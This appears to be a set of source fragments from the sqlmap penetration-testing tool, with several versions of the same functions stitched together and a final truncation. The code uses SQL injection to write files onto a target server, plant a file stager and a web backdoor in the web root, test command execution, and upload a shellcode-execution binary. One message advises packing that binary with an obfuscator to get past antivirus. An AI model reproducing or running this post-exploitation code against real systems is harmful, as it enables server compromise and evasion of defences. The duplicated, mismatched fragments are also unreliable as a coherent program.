def writeFile(self, localFile, remoteFile, fileType=None):
self.checkDbmsOs()
if localFile.endswith("_"):
content = decloak(localFile)
_ = os.path.split(localFile[:-1])[-1]
prefix, suffix = os.path.splitext(_)
handle, localFile = tempfile.mkstemp(prefix=prefix, suffix=suffix)
os.close(handle)
with open(localFile, "w+b") as f:
f.write(content)
if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
debugMsg = "going to upload the %s file with " % fileType
debugMsg += "stacked query SQL injection technique"
logger.debug(debugMsg)
self.stackedWriteFile(localFile, remoteFile, fileType)
self.cleanup(onlyFileTbl=True)
elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL):
debugMsg = "going to upload the %s file with " % fileType
debugMsg += "UNION query SQL injection technique"
logger.debug(debugMsg)
self.unionWriteFile(localFile, remoteFile, fileType)
else:
errMsg = "none of the SQL injection techniques detected can "
errMsg += "be used to write files to the underlying file "
errMsg += "system of the back-end %s server" % Backend.getDbms()
logger.error(errMsg)
return None
def uploadShellcodeexec(self, web=False):
self.shellcodeexecLocal = os.path.join(paths.SQLMAP_EXTRAS_PATH,
"shellcodeexec")
if Backend.isOs(OS.WINDOWS):
self.shellcodeexecLocal = os.path.join(
self.shellcodeexecLocal, "windows",
"shellcodeexec.x%s.exe_" % "32")
content = decloak(self.shellcodeexecLocal)
if SHELLCODEEXEC_RANDOM_STRING_MARKER in content:
content = content.replace(
SHELLCODEEXEC_RANDOM_STRING_MARKER,
randomStr(len(SHELLCODEEXEC_RANDOM_STRING_MARKER)))
_ = cloak(data=content)
handle, self.shellcodeexecLocal = tempfile.mkstemp(
suffix="%s.exe_" % "32")
os.close(handle)
with open(self.shellcodeexecLocal, "w+b") as f:
f.write(_)
else:
self.shellcodeexecLocal = os.path.join(
self.shellcodeexecLocal, "linux",
"shellcodeexec.x%s_" % Backend.getArch())
__basename = "tmpse%s%s" % (self._randStr,
".exe" if Backend.isOs(OS.WINDOWS) else "")
self.shellcodeexecRemote = "%s/%s" % (conf.tmpPath, __basename)
self.shellcodeexecRemote = ntToPosixSlashes(
normalizePath(self.shellcodeexecRemote))
logger.info("uploading shellcodeexec to '%s'" %
self.shellcodeexecRemote)
if web:
written = self.webUpload(self.shellcodeexecRemote,
os.path.split(
self.shellcodeexecRemote)[0],
filepath=self.shellcodeexecLocal)
else:
written = self.writeFile(self.shellcodeexecLocal,
self.shellcodeexecRemote,
"binary",
forceCheck=True)
if written is not True:
errMsg = "there has been a problem uploading shellcodeexec, it "
errMsg += "looks like the binary file has not been written "
errMsg += "on the database underlying file system or an AV has "
errMsg += "flagged it as malicious and removed it. In such a case "
errMsg += "it is recommended to recompile shellcodeexec with "
errMsg += "slight modification to the source code or pack it "
errMsg += "with an obfuscator software"
logger.error(errMsg)
return False
else:
logger.info("shellcodeexec successfully uploaded")
return True
def decloakToMkstemp(filepath, **kwargs):
name = mkstemp(**kwargs)[1]
retVal = open(name, 'w+b')
retVal.write(decloak(filepath))
retVal.seek(0)
return retVal
def webUpload(self, destFileName, directory, stream=None, content=None, filepath=None):
if filepath is not None:
if filepath.endswith('_'):
content = decloak(filepath) # cloaked file
else:
with open(filepath, "rb") as f:
content = f.read()
if content is not None:
stream = StringIO.StringIO(content) # string content
return self._webFileStreamUpload(stream, destFileName, directory)
def webUpload(self, destFileName, directory, stream=None, content=None, filepath=None):
if filepath is not None:
if filepath.endswith('_'):
content = decloak(filepath) # cloaked file
else:
with open(filepath, "rb") as f:
content = f.read()
if content is not None:
stream = StringIO.StringIO(content) # string content
return self._webFileStreamUpload(stream, destFileName, directory)
def decloakToNamedTemporaryFile(filepath, name=None):
retVal = NamedTemporaryFile()
def __del__():
try:
if hasattr(retVal, 'old_name'):
retVal.name = old_name
retVal.close()
except OSError:
pass
retVal.__del__ = __del__
retVal.write(decloak(filepath))
retVal.seek(0)
if name:
retVal.old_name = retVal.name
retVal.name = name
return retVal
def webUpload(self, destFileName, directory, stream=None, content=None, filepath=None):
if filepath is not None:
if filepath.endswith('_'):
content = decloak(filepath) # cloaked file
else:
with open(filepath, "rb") as f:
content = f.read()
if content is not None:
stream = io.BytesIO(content) # string content
# Reference: https://github.com/sqlmapproject/sqlmap/issues/3560
# Reference: https://stackoverflow.com/a/4677542
stream.seek(0, os.SEEK_END)
stream.len = stream.tell()
stream.seek(0, os.SEEK_SET)
return self._webFileStreamUpload(stream, destFileName, directory)
def webUpload(self, destFileName, directory, stream=None, content=None, filepath=None):
if filepath is not None:
if filepath.endswith('_'):
content = decloak(filepath) # cloaked file
else:
with openFile(filepath, "rb", encoding=None) as f:
content = f.read()
if content is not None:
stream = io.BytesIO(getBytes(content)) # string content
# Reference: https://github.com/sqlmapproject/sqlmap/issues/3560
# Reference: https://stackoverflow.com/a/4677542
stream.seek(0, os.SEEK_END)
stream.len = stream.tell()
stream.seek(0, os.SEEK_SET)
return self._webFileStreamUpload(stream, destFileName, directory)
def uploadShellcodeexec(self, web=False):
self.shellcodeexecLocal = os.path.join(paths.SQLMAP_EXTRAS_PATH, "shellcodeexec")
if Backend.isOs(OS.WINDOWS):
self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "windows", "shellcodeexec.x%s.exe_" % "32")
content = decloak(self.shellcodeexecLocal)
if SHELLCODEEXEC_RANDOM_STRING_MARKER in content:
content = content.replace(SHELLCODEEXEC_RANDOM_STRING_MARKER, randomStr(len(SHELLCODEEXEC_RANDOM_STRING_MARKER)))
_ = cloak(data=content)
handle, self.shellcodeexecLocal = tempfile.mkstemp(suffix="%s.exe_" % "32")
os.close(handle)
with open(self.shellcodeexecLocal, "w+b") as f:
f.write(_)
else:
self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "linux", "shellcodeexec.x%s_" % Backend.getArch())
__basename = "tmpse%s%s" % (self._randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "")
self.shellcodeexecRemote = "%s/%s" % (conf.tmpPath, __basename)
self.shellcodeexecRemote = ntToPosixSlashes(normalizePath(self.shellcodeexecRemote))
logger.info("uploading shellcodeexec to '%s'" % self.shellcodeexecRemote)
if web:
written = self.webUpload(self.shellcodeexecRemote, os.path.split(self.shellcodeexecRemote)[0], filepath=self.shellcodeexecLocal)
else:
written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True)
if written is not True:
errMsg = "there has been a problem uploading shellcodeexec, it "
errMsg += "looks like the binary file has not been written "
errMsg += "on the database underlying file system or an AV has "
errMsg += "flagged it as malicious and removed it. In such a case "
errMsg += "it is recommended to recompile shellcodeexec with "
errMsg += "slight modification to the source code or pack it "
errMsg += "with an obfuscator software"
logger.error(errMsg)
return False
else:
logger.info("shellcodeexec successfully uploaded")
return True
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webUploaderUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
infoMsg = "trying to upload the uploader agent"
logger.info(infoMsg)
message = "which web application language does the web server "
message += "support?\n"
message += "[1] ASP%s\n" % (" (default)" if kb.os == "Windows" else "")
message += "[2] PHP%s\n" % ("" if kb.os == "Windows" else " (default)")
message += "[3] JSP"
while True:
choice = readInput(message, default="1" if kb.os == "Windows" else "2")
if not choice or choice == "2":
self.webApi = "php"
break
elif choice == "1":
self.webApi = "asp"
break
elif choice == "3":
errMsg = "JSP web backdoor functionality is not yet "
errMsg += "implemented"
raise sqlmapUnsupportedDBMSException(errMsg)
elif not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > 3:
logger.warn("invalid value, it must be 1 or 3")
kb.docRoot = getDocRoot(self.webApi)
directories = getDirs(self.webApi)
directories = list(directories)
directories.sort()
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorStream = decloakToNamedTemporaryFile(
os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName
)
originalBackdoorContent = backdoorContent = backdoorStream.read()
uploaderName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
uploaderContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "uploader.%s_" % self.webApi))
for directory in directories:
# Upload the uploader agent
self.__webFileInject(uploaderContent, uploaderName, directory)
requestDir = ntToPosixSlashes(directory).replace(ntToPosixSlashes(kb.docRoot), "/")
if isWindowsPath(requestDir):
requestDir = requestDir[2:]
requestDir = normalizePath(requestDir)
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
self.webUploaderUrl = "%s/%s" % (self.webBaseUrl.rstrip("/"), uploaderName)
self.webUploaderUrl = ntToPosixSlashes(self.webUploaderUrl.replace("./", "/"))
uplPage, _ = Request.getPage(url=self.webUploaderUrl, direct=True, raise404=False)
if "sqlmap file uploader" not in uplPage:
warnMsg = "unable to upload the uploader "
warnMsg += "agent on '%s'" % directory
logger.warn(warnMsg)
continue
infoMsg = "the uploader agent has been successfully uploaded "
infoMsg += "on '%s' ('%s')" % (directory, self.webUploaderUrl)
logger.info(infoMsg)
if self.webApi == "asp":
runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
runcmdStream = decloakToNamedTemporaryFile(
os.path.join(paths.SQLMAP_SHELL_PATH, "runcmd.exe_"), runcmdName
)
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace(
"RUNCMD_EXE", runcmdName
)
backdoorStream.file.truncate()
backdoorStream.read()
backdoorStream.seek(0)
backdoorStream.write(backdoorContent)
if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl.rstrip("/"), backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.__webFileStreamUpload(
backdoorStream, backdoorName, posixToNtSlashes(directory) if kb.os == "Windows" else directory
):
warnMsg = "backdoor hasn't been successfully uploaded "
warnMsg += "with uploader probably because of permission "
warnMsg += "issues."
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for uploader? [y/N] "
getOutput = readInput(message, default="N")
if getOutput in ("y", "Y"):
self.__webFileInject(backdoorContent, backdoorName, directory)
else:
continue
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = directory
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory
infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
logger.info(infoMsg)
break
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
infoMsg = "trying to upload the file stager"
logger.info(infoMsg)
default = None
choices = ('asp', 'aspx', 'php', 'jsp')
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
if Backend.isOs(OS.WINDOWS):
default = "asp"
else:
default = "php"
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
kb.docRoot = getDocRoot()
directories = getDirs()
directories = list(directories)
directories.sort()
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName)
originalBackdoorContent = backdoorContent = backdoorStream.read()
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
warned = set()
success = False
for i in xrange(len(kb.docRoot)):
if success:
break
for j in xrange(len(directories)):
docRoot = kb.docRoot[i]
directory = directories[j]
uriPath = ""
if not all(isinstance(item, basestring) for item in [docRoot, directory]):
continue
directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/')
docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/')
# '' or '/' -> 'docRoot'
if not directory:
localPath = docRoot
uriPath = '/'
# 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
localPath = "%s/%s" % (docRoot, directory)
uriPath = "/%s" % directory
else:
localPath = directory
uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot
if docRoot in uriPath:
uriPath = uriPath.replace(docRoot, "/")
uriPath = "/%s" % normalizePath(uriPath)
else:
webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url)
if webDir:
uriPath = "/%s" % webDir
else:
continue
localPath = posixpath.normpath(localPath).rstrip('/')
uriPath = posixpath.normpath(uriPath).rstrip('/')
# Upload the file stager
self.__webFileInject(stagerContent, stagerName, localPath)
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" not in uplPage:
if localPath not in warned:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % localPath
logger.warn(warnMsg)
warned.add(localPath)
continue
elif "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded "
warnMsg += "on '%s' but not dynamically interpreted" % localPath
logger.warn(warnMsg)
continue
elif self.webApi == "aspx":
kb.data.__EVENTVALIDATION = extractRegexResult(r"__EVENTVALIDATION[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
kb.data.__VIEWSTATE = extractRegexResult(r"__VIEWSTATE[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == "asp":
runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
backdoorStream.file.truncate()
backdoorStream.read()
backdoorStream.seek(0)
backdoorStream.write(backdoorContent)
if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
getOutput = readInput(message, default="Y")
if getOutput in ("y", "Y"):
self.__webFileInject(backdoorContent, backdoorName, localPath)
else:
continue
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = localPath
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
success = True
break
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
if not kb.absFilePaths:
message = "do you want sqlmap to further try to "
message += "provoke the full path disclosure? [Y/n] "
if readInput(message, default='Y', boolean=True):
headers = {}
been = set([conf.url])
for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage, re.I):
url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php")
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
for place in (PLACE.GET, PLACE.POST):
if place in conf.parameters:
value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place])
if "[]" in value:
page, headers = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
cookie = None
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[PLACE.COOKIE]
elif headers and HTTP_HEADER.SET_COOKIE in headers:
cookie = headers[HTTP_HEADER.SET_COOKIE]
if cookie:
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
if value != cookie:
page, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
if value != cookie:
page, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(oset(directories))
path = urlparse.urlparse(conf.url).path or '/'
if path != '/':
_ = []
for directory in directories:
_.append(directory)
if not directory.endswith(path):
_.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
directories = _
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
for directory in directories:
if not directory:
continue
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
directory = "/%s" % directory
if not directory.endswith('/'):
directory += '/'
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# Fall-back to UNION queries file upload method
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION method"
logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
handle, filename = tempfile.mkstemp()
os.close(handle)
with open(filename, "w+b") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
f.write(_)
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
if not uploaded:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
if readInput(message, default='Y', boolean=True):
self._webFileInject(backdoorContent, backdoorName, directory)
else:
continue
self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "the backdoor has been uploaded but required privileges "
warnMsg += "for running the system commands are missing"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
break
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(oset(directories))
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
success = False
for directory in directories:
if not directory:
continue
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
directory = "/%s" % directory
else:
directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory
if not directory.endswith('/'):
directory += '/'
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# Fall-back to UNION queries file upload method
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION method"
logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
handle, filename = mkstemp()
os.fdopen(handle).close() # close low level handle (causing problems later)
with open(filename, "w+") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
f.write(utf8encode(_))
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
if not uploaded:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
